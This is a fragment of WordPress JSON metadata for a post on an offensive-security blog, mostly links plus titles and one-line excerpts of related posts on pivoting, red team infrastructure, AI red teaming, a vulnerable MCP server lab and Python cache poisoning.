(In)Security","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/hardsoftsecurity.es\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":"Person","@id":"https:\/\/hardsoftsecurity.es\/#\/schema\/person\/dfe289b1e4ae2daf72695e85a8b3dd7a","name":"david","image":{"@type":"ImageObject","inLanguage":"es","@id":"https:\/\/secure.gravatar.com\/avatar\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g","caption":"david"}}]}},"jetpack_publicize_connections":[],"jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/p7xGFx-S4","jetpack-related-posts":[{"id":3991,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2026\/08\/26\/offensive-ai-vulnerable-mcp-server-lab\/","url_meta":{"origin":3352,"position":0},"title":"Offensive AI – Vulnerable MCP Server Lab","author":"david","date":"agosto 26, 2026","format":false,"excerpt":"A self-hosted, intentionally vulnerable MCP (Model Context Protocol) server for security research and education. This lab demonstrates how MCP servers can be enumerated, interacted with, and exploited using common vulnerability classes. WARNING:\u00a0This lab is intentionally vulnerable. Run it in an isolated environment only. Do not expose it to the internet.\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2026\/08\/image.png?fit=753%2C271&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2026\/08\/image.png?fit=753%2C271&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2026\/08\/image.png?fit=753%2C271&ssl=1&resize=525%2C300 1.5x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2026\/08\/image.png?fit=753%2C271&ssl=1&resize=700%2C400 2x"},"classes":[]},{"id":3414,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/10\/25\/pivoting-chisel-socat\/","url_meta":{"origin":3352,"position":1},"title":"Pivoting con Chisel y Socat","author":"david","date":"octubre 25, 2023","format":false,"excerpt":"El pivoting es m\u00e1s que una simple t\u00e9cnica; es un arte. Act\u00faa como un puente, permitiendo a los profesionales de seguridad superar las barreras que les separan de sus objetivos y explorar redes desconocidas. Ahora, mientras que el pivoting es un concepto conocido, \u00bfc\u00f3mo lo llevamos a cabo con herramientas\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image.png?fit=1200%2C563&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image.png?fit=1200%2C563&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image.png?fit=1200%2C563&ssl=1&resize=525%2C300 1.5x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image.png?fit=1200%2C563&ssl=1&resize=700%2C400 2x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image.png?fit=1200%2C563&ssl=1&resize=1050%2C600 3x"},"classes":[]},{"id":3825,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2025\/06\/30\/offensive-security-on-known-hosts\/","url_meta":{"origin":3352,"position":2},"title":"\ud83d\udc7d Offensive Forensics on Known Hosts \ud83d\udd0e","author":"david","date":"junio 30, 2025","format":false,"excerpt":"Welcome to a new post where we are going to be talking about the well known file \"known_hosts\" related to the SSH service. However, the post will not be focused on the service itself, the post is going to be focused on Offensive Forensics on Known Hosts to be able\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2025\/06\/image.png?fit=720%2C316&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2025\/06\/image.png?fit=720%2C316&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2025\/06\/image.png?fit=720%2C316&ssl=1&resize=525%2C300 1.5x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2025\/06\/image.png?fit=720%2C316&ssl=1&resize=700%2C400 2x"},"classes":[]},{"id":3950,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2026\/07\/03\/ai-red-teaming-pentesting\/","url_meta":{"origin":3352,"position":3},"title":"AI Red Teaming – Pentesting","author":"david","date":"julio 3, 2026","format":false,"excerpt":"Welcome everyone to this new post, where we are going to make an introduction to the AI Pentesting\/Red Teaming world. I am going to cover the basics of how this advanced technologies works and how we can exploit it to find vulnerabilities. Also, I am going to present the project\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2026\/05\/offensive-ai.png?fit=1200%2C800&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2026\/05\/offensive-ai.png?fit=1200%2C800&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2026\/05\/offensive-ai.png?fit=1200%2C800&ssl=1&resize=525%2C300 1.5x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2026\/05\/offensive-ai.png?fit=1200%2C800&ssl=1&resize=700%2C400 2x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2026\/05\/offensive-ai.png?fit=1200%2C800&ssl=1&resize=1050%2C600 3x"},"classes":[]},{"id":3759,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2024\/12\/25\/deploying-secure-red-team-infrastructure\/","url_meta":{"origin":3352,"position":4},"title":"Deploying Secure Red Team Infrastructure","author":"david","date":"diciembre 25, 2024","format":false,"excerpt":"Welcome to a new post, where we are going to see how to deploy a secure Red Team infrastructure. We will se how to deploy legit services to perform phishing and hide our C2 traffic through HTTPS protocol. Disclaimer The information provided in this post is intended for educational purposes\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/12\/redteam-1.png?fit=1200%2C617&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/12\/redteam-1.png?fit=1200%2C617&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/12\/redteam-1.png?fit=1200%2C617&ssl=1&resize=525%2C300 1.5x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/12\/redteam-1.png?fit=1200%2C617&ssl=1&resize=700%2C400 2x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/12\/redteam-1.png?fit=1200%2C617&ssl=1&resize=1050%2C600 3x"},"classes":[]},{"id":3894,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2026\/01\/19\/python-cache-poisoning-privesc-linux\/","url_meta":{"origin":3352,"position":5},"title":"Python Cache Poisoning – PrivEsc – Linux","author":"david","date":"enero 19, 2026","format":false,"excerpt":"Introduction Python cache poisoning is a lesser-known but powerful technique that can lead to local privilege escalation (priv\u2011esc) in misconfigured environments. It abuses how Python compiles and caches bytecode (.pyc files) to speed up execution. When an attacker can influence which bytecode is loaded\u2014or where it is loaded from\u2014they may\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2026\/01\/hacking.png?fit=1200%2C800&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2026\/01\/hacking.png?fit=1200%2C800&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2026\/01\/hacking.png?fit=1200%2C800&ssl=1&resize=525%2C300 1.5x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2026\/01\/hacking.png?fit=1200%2C800&ssl=1&resize=700%2C400 2x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2026\/01\/hacking.png?fit=1200%2C800&ssl=1&resize=1050%2C600 3x"},"classes":[]}],"jetpack_likes_enabled":true,"jetpack_featured_media_url":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/09\/2023-09-11_11-12.png?fit=1226%2C681&ssl=1","_links":{"self":[{"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/posts\/3352","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/comments?post=3352"}],"version-history":[{"count":3,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/posts\/3352\/revisions"}],"predecessor-version":[{"id":3356,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/posts\/3352\/revisions\/3356"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/media\/3355"}],"wp:attachment":[{"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/media?parent=3352"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/categories?post=3352"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/tags?post=3352"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}